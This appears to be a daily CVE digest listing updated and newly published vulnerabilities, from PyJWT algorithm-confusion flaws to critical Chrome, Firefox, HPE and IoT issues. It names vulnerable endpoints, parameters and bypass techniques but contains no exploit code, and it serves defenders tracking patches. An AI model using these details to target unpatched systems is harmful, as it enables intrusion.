CVE-2026-102290	Updated - CVSS changed (3.5 → 2.0)	2.0	LOW		0.002		A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond ...
CVE-2026-101265	Updated - CVSS changed (3.1 → 1.3)	1.3	LOW		0.002		A vulnerability was identified in Intelbras TIP 125i 4.3.35/4.3.41. The affected element is an unknown function of the component Básico Page. Such manipulation leads to inclusion of sensitive information in source code. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is described as difficult. The exploit is pub...
CVE-2026-101894	Updated - Fix/version updated		CRIT		0.008	npm:@xhmikosr/decompress, npm:decompress	### Impact When extracting an untrusted archive with the default `decompress(input, output)` API, a crafted archive containing a chain of symlink entries can make a later entry resolve **outside** the output directory. The lexical containment checks pass, but the kernel follows the planted symlinks to a path outside `output`, letting an attacker write (and read) files outsi...
CVE-2026-101917	Updated - Fix/version updated		MODE		0.004	pip:pyjwt	Summary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-ref...
CVE-2026-102265	Updated - Fix/version updated		MODE		0.003	pip:pyJWT	## Package pyjwt (PyPI) ## Affected versions tested & verified on: 2.13.0. Every version whose `PyJWS._load()` translates only `ValueError` is affected ## Description `PyJWS._load()` (`jwt/api_jws.py:337`) splits the compact token, base64url decodes the header segment and hands it to `json.loads()` before `_verify_signature()` runs. The parse is wrapped in `except Valu...
CVE-2026-102266	Updated - Fix/version updated		HIGH		0.002	pip:PyJWT	### Summary A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated. PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`. ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102267	Updated - Fix/version updated		HIGH		0.002	pip:PyJWT	### Summary PyJWT 2.13.0 `PyJWKClient` followed HTTP redirects while fetching a JWKS, without validating the redirect destination. A configured trusted endpoint could therefore redirect the client to a different host. ### Impact When an application uses `PyJWKClient` with caller-supplied request headers and an attacker can influence the configured endpoint's response, the...
CVE-2026-102268	Updated - Fix/version updated		CRIT		0.002	pip:PyJWT	**Prerequisites** (both conditions must hold; both are deployment properties, not attacker-controlled at request time): - The `jwt.decode` allow-list mixes an HMAC algorithm with an asymmetric one, e.g. `algorithms=["ES256", "HS256"]` (the RFC 8725 footgun the guard exists to backstop). - The verification key is passed as raw PEM text/bytes on the non-`PyJWK` path, in a byt...
CVE-2026-102269	Updated - Fix/version updated		MODE		0.002	pip:PyJWT	## Summary PyJWT 2.13.0 accepts compact JWS signature segments containing characters that are not in the Base64URL alphabet. Appending `!!!!` to a valid signature does not change the decoded signature bytes or authenticated claims, but it changes the serialized token and its SHA-256 hash. An application that indexes logout or revocation state by the raw token therefore reje...
CVE-2026-102271	Updated - Fix/version updated		HIGH		0.002	pip:pyjwt	### Summary `HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret. An application that verifies tokens with an RSA or EC public key, and als...
CVE-2026-102272	Updated - Fix/version updated		HIGH		0.002	pip:PyJWT	## Affected Package - **Package**: PyJWT (`pyjwt` on PyPI) - **Repository**: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E - **Affected version**: 2.13.0 - **Vulnerability class**: Algorithm confusion / patch bypass --- ## Root Cause PyJWT 2.13.0 introduced a guard in `HMACAlgorithm.prepare_key()` (file `jwt/algorit...
CVE-2026-102273	Updated - Fix/version updated		HIGH		0.002	pip:PyJWT	### Summary PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an array, or represented in another container form that does not expose a top-level `kty` memb...
CVE-2026-102274	Updated - Fix/version updated		MODE		0.004	pip:PyJWT	## Summary A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because `RSAAlgorithm.from_jwk` can raise a plain `ValueError` that isn't caught by `PyJWKSet`'s per-key error-skipping logic. ## Affected component / version - Package: `PyJWT` (PyPI, ecosystem `pip`) - Files: `jwt/api_jwk.py` (`PyJWK.__init__`, `PyJWKSet.__init__`)...
CVE-2026-102276	Updated - Fix/version updated		HIGH		0.004	npm:brace-expansion	### Summary `parseCommaParts()` can exhaust the native stack and crash the process. There are two distinct ways to trigger it, both reachable from a single untrusted pattern string. This is the parsing-side counterpart to CVE-2026-14257 / GHSA-mh99-v99m-4gvg. That fix made `expand_()` iterative and documented a constant-stack-depth guarantee, but `parseCommaParts()` was le...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102277	Updated - Fix/version updated		MODE		0.003	npm:brace-expansion	### Summary Expanding `{a,b}`-shaped input takes time quadratic in the number of literal `}` characters, blocking the event loop. Bash preserves a quirk where a brace group followed by a comma set still expands (`{a,b}`). The parser implements this by rewriting the string and restarting the scan. Each pass absorbs exactly one `}` and re-scans from the beginning, so `n` t...
CVE-2026-102278	Updated - Fix/version updated		HIGH		0.004	npm:brace-expansion	### Summary `expand_()` recurses once per level of brace *nesting*. Deeply nested input exhausts the native stack and crashes the process. This is distinct from CVE-2026-14257 / GHSA-mh99-v99m-4gvg, which made the *tail* iterative (recursion on `m.post`, driven by how many groups are chained). Nesting depth drives a different recursion that the tail fix never touched, so t...
CVE-2026-102279	Updated - Fix/version updated				0.002	composer:laravel/framework	### Impact When `APP_DEBUG=true`, attacker-controlled input is passed to a Tippy.js tooltip configured with `allowHTML: true`, enabling DOM-based XSS during mouse hover. ### Patches [#61381](https://github.com/laravel/framework/pull/61381)
CVE-2026-102281	Updated - Fix/version updated		HIGH		0.004	npm:@nestjs/microservices	Field Value --- --- Ecosystem npm Package `@nestjs/microservices` Affected versions `>= 12.0.0, < 12.0.2` and `< 11.2.4` Patched versions `12.0.2` and `11.2.4` (upgrade to `12.0.3` / `11.2.5`) ### Summary A single message whose `pattern` is a deeply nested object terminates a NestJS microservice that uses the TCP or RabbitMQ transport. T...

Added to CISA KEV today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86950	Added to KEV	8.8	HIGH	Yes	0.008	apple:multiple products	Apple iOS, macOS, and iPadOS contain an out-of-bounds write vulnerability in CoreGraphics that may lead to arbitrary code execution.

P1 new today

None in this window.

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-53988	New	10.0	CRIT				Dockhand before 1.0.40 contains an authentication bypass vulnerability in its git webhook endpoints that allows unauthenticated remote attackers to trigger arbitrary stack redeployments by exploiting a null webhook secret guard condition. Attackers can enumerate sequential stack IDs and send unsigned webhook requests to force git clone and docker compose operations, enabling...
CVE-2026-71379	New	10.0	CRIT				The file export endpoint allows any unauthenticated attacker to export arbitrary database tables by sending a crafted POST request.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96587	New	10.0	CRIT				The Viidure Android application embeds permanent, plaintext cloud storage credentials within its compiled code. These credentials provide full access to critical platform storage, including the ability to read, modify, or delete operational files such as firmware and application binaries.
CVE-2026-102911	New	9.9	CRIT				A flaw has been found in zosmaai pi-llm-wiki up to 0.11.7. Affected is an unknown function of the file mcp/index.ts of the component wiki_capture_source MCP tool. Executing a manipulation of the argument url can lead to os command injection. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 0.11.8 is able to address thi...
CVE-2026-84154	New	9.9	CRIT		0.004		A Code Injection vulnerability affecting GEOVIA Geospatial Data Manager from Release 3DEXPERIENCE R2024x through Release 3DEXPERIENCE R2026x could allow an attacker to execute arbitrary code on the server.
CVE-2023-54400	New	9.8	CRIT				Fumasoft Fumeng Cloud contains a SQL injection vulnerability in the AjaxMethod.ashx endpoint that allows unauthenticated remote attackers to inject arbitrary SQL through the Name parameter of the getEmpByname action without any authentication. Attackers can exploit UNION-based SQL injection techniques against the Microsoft SQL Server backend to extract, disclose, and modify ...
CVE-2026-103040	New	9.8	CRIT				LightLLM through 1.2.0 contains a remote code execution vulnerability in the router profiler service when started with --enable_profiling flag. The service exposes an unauthenticated RPyC server with pickle deserialization enabled, allowing attackers to execute arbitrary code by sending crafted serialized objects to the profiler command queue.
CVE-2026-103041	New	9.8	CRIT				LightLLM through 1.2.0 multimodal deployments expose an unauthenticated RPyC cache service with pickle deserialization enabled on all interfaces. Attackers can send crafted serialized objects to exposed cache methods to execute arbitrary code with service privileges.
CVE-2026-103110	New	9.8	CRIT				Pexip Infinity before 38.2, plus 39.0, 39.1 and 40.0, is affected by improper input validation that allows a remote attacker to execute code remotely as an unprivileged user on a Pexip Infinity Conferencing Node.
CVE-2026-39117	New	9.8	CRIT				An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php
CVE-2026-76721	New	9.8	CRIT				Buffer overflow vulnerability exists in the affected interface of HPE Networking Instant ON that could allow an unauthenticated remote attacker to run arbitrary code on the underlying host. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.
CVE-2026-76722	New	9.8	CRIT				Uncontrolled Format string vulnerabilities exist in the affected interface of HPE Networking Instant ON APs that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host. Successful exploitation could result in a Denial-of-service or potential remote code execution.
CVE-2026-77177	New	9.8	CRIT				Open GenAI Stack (aka ogx-ai) 2026-06-11, as used in the Meta AI backend for WhatsApp and other products, allows code execution because prompt injection (with Jinja2 template syntax) can be used to achieve server-side expression evaluation without sanitization.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-79538	New	9.8	CRIT				metatool-ai MetaMCP up to and including 2.4.22 is vulnerable to Code Execution in the internal MCP inspector proxy endpoint GET /mcp-proxy/server/stdio (createTransport, STDIO branch, routers/mcp-proxy/server.ts).
CVE-2026-100762	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Content Processes component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100770	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Content Processes component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100778	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100786	New	9.6	CRIT				Sandbox escape due to use-after-free in the Graphics component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100800	New	9.6	CRIT				Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100804	New	9.6	CRIT				Sandbox escape due to use-after-free in the Preferences: Backend component. This vulnerability was fixed in Firefox 157.
CVE-2026-100811	New	9.6	CRIT				Sandbox escape due to use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100818	New	9.6	CRIT				Sandbox escape due to use-after-free in the Widget: Gtk component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100819	New	9.6	CRIT				Sandbox escape due to incorrect boundary conditions in the XPCOM component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-102304	New	9.6	CRIT				Use after free in Passwords in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102306	New	9.6	CRIT				Use after free in Bluetooth in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102308	New	9.6	CRIT				Use after free in Views in Google Chrome prior to 154.0.8037.92 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102309	New	9.6	CRIT				Use after free in FullScreen in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102316	New	9.6	CRIT				Use after free in Views in Google Chrome prior to 154.0.8037.92 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102331	New	9.6	CRIT				Buffer overflow in ANGLE in Google Chrome on on Android prior to 154.0.8037.92 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-76723	New	9.6	CRIT				Buffer overflow vulnerabilities exist in the affected interface of HPE Networking Instant ON APS that could allow an unauthenticated adjacent attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVE-2026-76724	New	9.6	CRIT				A command injection vulnerability exists in CLI of the affected HPE Networking Instant ON APs that could allow an unauthenticated adjacent attacker to perform command injection by sending specially crafted packets. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVE-2026-76725	New	9.6	CRIT				A vulnerability has been identified in a management protocol of HPE Networking Instant ON APs that could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could result in a complete bypass of security restrictions, potentially leading to remote code execution with elevated privileges.
CVE-2026-95277	New	9.6	CRIT				Use after free in Views in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95281	New	9.6	CRIT				Buffer overflow in ANGLE in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95283	New	9.6	CRIT				Buffer overflow in Tint in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95299	New	9.6	CRIT				Use after free in GPU in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95310	New	9.6	CRIT				Use after free in AdFilter in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95311	New	9.6	CRIT				Free of non-heap memory in Fonts in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95313	New	9.6	CRIT				Use after free in Fullscreen in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95318	New	9.6	CRIT				Buffer overflow in Video in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95325	New	9.6	CRIT				Use after free in ANGLE in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95329	New	9.6	CRIT				Out of bounds write in WebGL in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95331	New	9.6	CRIT				Out of bounds write in ANGLE in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95339	New	9.6	CRIT				Use after free in ServiceWorker in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95347	New	9.6	CRIT				Use after free in Updater in Google Chrome on on Mac prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-95349	New	9.6	CRIT				Buffer overflow in WebGL in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95350	New	9.6	CRIT				Buffer overflow in ANGLE in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95356	New	9.6	CRIT				Use after free in WindowDialog in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-95357	New	9.6	CRIT				Out of bounds write in GPU in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-102425	New	9.5	CRIT				Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms < 2.4.3.4 - Balbooa Forms supports administrator-defined PHP code which runs after a public form submission. The feature also supports form-field shortcodes inside that PHP. Before calling `eval()`, the component replaces each shortcode with the raw value submitted by the visi...
CVE-2026-70356	New	9.4	CRIT				The TMS file upload endpoint fails to enforce server-side file type restrictions, allowing an attacker to upload and execute arbitrary PHP files on the web server.
CVE-2026-82973	New	9.4	CRIT				Improper neutralization of CRLF sequences in IMAP command construction in psyb0t/docker-mailbox before 0.4.13 allows a remote unauthenticated attacker, when bearer-token authentication is not configured, to inject additional IMAP commands into an authenticated upstream mailbox connection via crafted folder, UID, or search values.
CVE-2026-100291	New	9.3	CRIT				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, several ONVIF service endpoints process management requests without enforcing required authentication. This could allow an unauthorized attacker to access sensitive device operations.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102710	New	9.3	CRIT				Attacker model / Preconditions: a loaded `TXM_MODULE_USER_MODE   TXM_MODULE_MEMORY_PROTECTION` module issuing kernel dispatch calls, on a build with `TX_ENABLE_EVENT_TRACE`. A user-mode, memory-protected module can register an arbitrary function pointer as the global trace-full callback. The kernel calls it directly — no validation, no trampoline — from privileged kernel ...
CVE-2026-102761	New	9.3	CRIT				NetX Duo's WebSocket client resets the unmasking cursor to the first `NX_PACKET` each time it advances through a chained packet, while the loop's upper bound belongs to the current packet. With the standard contiguous packet-pool layout, a masked server frame split across two packets therefore drives the XOR loop through the first packet's unused payload area and on through ...
CVE-2026-22094	New	9.3	CRIT				The firmware for the EVbee DC-80 has a weak hardcoded root password, which allows attackers to login as root using the SSH daemon that is exposed to the network.
CVE-2026-7192	New	9.3	CRIT				A stack-based buffer overflow vulnerability in the Dbit T-CPE301K 4G WiFi minirouter allows an authenticated attacker to cause a denial of service (DoS) and a system reboot via a manipulated HTTP POST request directed at the endpoint `/js/common/do_cmd.js` endpoint containing an excessively long parameter, which overwrites the PC and RA registers.
CVE-2026-85520	New	9.3	CRIT				Google Merchant Center Feed (gmfeed) module for PrestaShop is vulnerable to unauthenticated arbitrary file write in the feed.php endpoint. An unauthenticated attacker can send a crafted request that controls the output file name, path, extension, and content through request parameters. Due to the lack of authentication and input validation, the request is processed successfully...
CVE-2026-96428	New	9.3	CRIT		0.003		SQL Injection in the /WebAgenda/SMBAjaxAutoComplete.do API endpoint of Flowring Agentflow 4.0 version before 2025/08/08 allows remote attackers to execute arbitrary SQL commands via the words parameter.
CVE-2026-96429	New	9.3	CRIT		0.003		SQL Injection in the /WebAgenda/SMBAjaxConfigProcess.do API endpoint of Flowring Agentflow 4.0 version before 2025/08/08 allows remote attackers to execute arbitrary SQL commands via the id parameter.
CVE-2026-96431	New	9.3	CRIT		0.003		Unrestricted Upload of File with Dangerous Type in the /WebAgenda/download/uploadFile.jsp API endpoint of Flowring Agentflow 4.0 version before 2023/03/24 allows remote authenticated users to execute arbitrary system commands via a malicious file.
CVE-2026-102828	New	9.2	CRIT				simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. From 3.15.0 until 4.0.1, the default blockUnsafeOperationsPlugin does not classify trailer.<token>.cmd as unsafe configuration. An application that passes attacker-controlled values through SimpleGitOptions.config or inline -c argument...
CVE-2026-102829	New	9.2	CRIT				simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. Prior to 2.0.1 of the argv-parser package, parseEnv omits VISUAL from GitEnvKeys, so prepareEnv drops the value before vulnerabilityCheck can classify it as allowUnsafeEditor. A consuming application that forwards attacker-influenced e...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86131	New	9.2	CRIT				A code injection vulnerability in WatchGuard Fireware OS's BOVPN Over TLS client configuration handling allows an attacker who controls the remote VPN server to execute arbitrary commands as root on the connecting Firebox.
CVE-2026-102792	New	9.1	CRIT				A vulnerability was detected in Ziroom ZHOME A0101 1.0.1.0. This affects the function set_syslog of the file /api/ZRnetwork/set_syslog. The manipulation of the argument conloglevel/log_size results in command injection. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond ...
CVE-2026-102793	New	9.1	CRIT				A flaw has been found in Ziroom ZHOME A0101 1.0.1.0. This vulnerability affects the function set_time_zone of the file /api/ZRFirmware/set_time_zone. This manipulation of the argument hostname/zonename causes command injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure ...
CVE-2026-102794	New	9.1	CRIT				A vulnerability has been found in Ziroom ZHOME A0101 1.0.1.0. This issue affects some unknown processing of the file /api/ZRnetwork/ping. Such manipulation of the argument url leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not ...
CVE-2026-8065	New	9.1	CRIT		0.006		An authentication bypass vulnerability in the firmware update endpoint of Hitachi Energy RTU500 end-of-life versions allows an unauthenticated attacker to upload arbitrary firmware through a crafted POST request. Successful exploitation could allow the attacker to modify device functionality or compromise the integrity or availability of the device.
CVE-2026-8066	New	9.1	CRIT		0.012		A directory traversal vulnerability in the file upload functionality of Hitachi Energy RTU500 end-of-life versions allows an unauthenticated attacker to write or overwrite arbitrary files on the device file system. Depending on the files affected, successful exploitation could result in unauthorized modification of device data or disruption of the device's intended operation.
CVE-2026-84436	New	9.1	CRIT				IBM Guardium Data Protection 12.2 is vulnerable to command injection in the certificate export CLI functionality, allowing a privileged authenticated CLI user to execute arbitrary commands with root privileges.
CVE-2026-103056	New	9.0	CRIT				AiSOC versions 7.2.0 before 12.0.0 contain a command injection vulnerability in the actions service that builds CrowdStrike Real Time Response command strings by interpolating unescaped action parameters in crowdstrike_rtr.py and endpoint.py. Authenticated users can inject single quotes into file_path, path, script_name, or script_args parameters to break out of quoted argum...
CVE-2026-15390	New	9.0	CRIT				Das U-Boot with CONFIG_IP_DEFRAG=y parameter fails to clear IP reassembly state after delivering a complete datagram. An attacker who can deliver fragmented IP traffic can execute arbitrary code by sending duplicated last-fragment IP packets. This issue was fixed in commit b1aec609bb5e0d08c25c888c91935287ab4ee5fa in version 2026.07.

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.